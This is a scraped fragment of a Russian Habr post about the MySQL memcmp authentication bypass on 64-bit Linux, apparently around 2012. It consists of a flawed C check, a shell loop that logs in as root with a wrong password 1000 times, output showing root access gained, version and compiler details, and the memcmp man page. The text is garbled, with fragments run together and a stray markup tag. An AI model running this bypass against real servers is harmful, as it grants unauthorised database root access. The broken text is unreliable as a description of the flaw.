Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
typedef char my_bool;
...
my_bool check(.....) {
return memcmp(....);
}
volch@home:~$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
volch@home:~$ mysql --version
mysql Ver 14.14 Distrib 5.5.22, for debian-linux-gnu (x86_64) using readline 6.2
volch@home:~$ uname -a
Linux home 3.2.0-24-generic #39-Ubuntu SMP Mon May 21 16:52:17 UTC 2012 x86_64 x86_64 x86_64 GNU/Linuxmodel name : AMD A4-3400 APU with Radeon(tm) HD Graphics
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm 3dnowext 3dnow constant_tsc rep_good nopl nonstop_tsc extd_apicid aperfmperf pni monitor cx16 popcnt lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt arat npt lbrv svm_lock nrip_save pausefilter[root@deb-router ~]$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3909
Server version: 5.5.23-2 (Debian)
Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
[root@deb-router ~]$ uname -a
Linux deb-router 3.2.0-2-amd64 #1 SMP Sat May 12 23:08:28 UTC 2012 x86_64 GNU/Linux
egrep '(FLAG|compiler)' `which mysqlbug`
COMP_CALL_INFO="CC='/usr/bin/x86_64-linux-gnu-gcc' CFLAGS='-O2 -DBIG_JOINS=1 -fno-strict-aliasing -Wall -O2 -g -DDBUG_OFF' CXX='/usr/bin/x86_64-linux-gnu-g++' CXXFLAGS='-O3 -DBIG_JOINS=1 -felide-constructors -fno-exceptions -fno-rtti -fno-strict-aliasing -Wall -Wno-unused-parameter -fno-implicit-templates -fno-exceptions -fno-rtti -O2 -g -DDBUG_OFF' LDFLAGS='' ASFLAGS=''"
COMP_RUN_INFO="CC='/usr/bin/x86_64-linux-gnu-gcc' CFLAGS='-O2 -DBIG_JOINS=1 -fno-strict-aliasing -Wall -O2 -g -DDBUG_OFF' CXX='/usr/bin/x86_64-linux-gnu-g++' CXXFLAGS='-O3 -DBIG_JOINS=1 -felide-constructors -fno-exceptions -fno-rtti -fno-strict-aliasing -Wall -Wno-unused-parameter -fno-implicit-templates -fno-exceptions -fno-rtti -O2 -g -DDBUG_OFF' LDFLAGS='' ASFLAGS=''"
>C compiler: gcc-4.6.real (Debian 4.6.3-1) 4.6.3
>C++ compiler: g++-4.6.real (Debian 4.6.3-1) 4.6.3
</souirce>Not triggered in 10 seconds, *probably* not vulnerable..
Vulnerable! memcmp returned: -183$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
$ mysql --version
mysql Ver 14.14 Distrib 5.5.24, for debian-linux-gnu (x86_64) using readline 6.2
NAME
memcmp - compare memory areas
SYNOPSIS
#include <string.h>
int memcmp(const void *s1, const void *s2, size_t n);
DESCRIPTION
The memcmp() function compares the first n bytes (each interpreted as unsigned char) of the
memory areas s1 and s2. It returns an integer less than, equal to, or greater than zero if
s1 is found, respectively, to be less than, to match, or be greater than s2.
RETURN VALUE
The memcmp() function returns an integer less than, equal to, or greater than zero if the
first n bytes of s1 is found, respectively, to be less than, to match, or be greater than the
first n bytes of s2.
Смешная уязвимость в MySQL под Linux 64-bit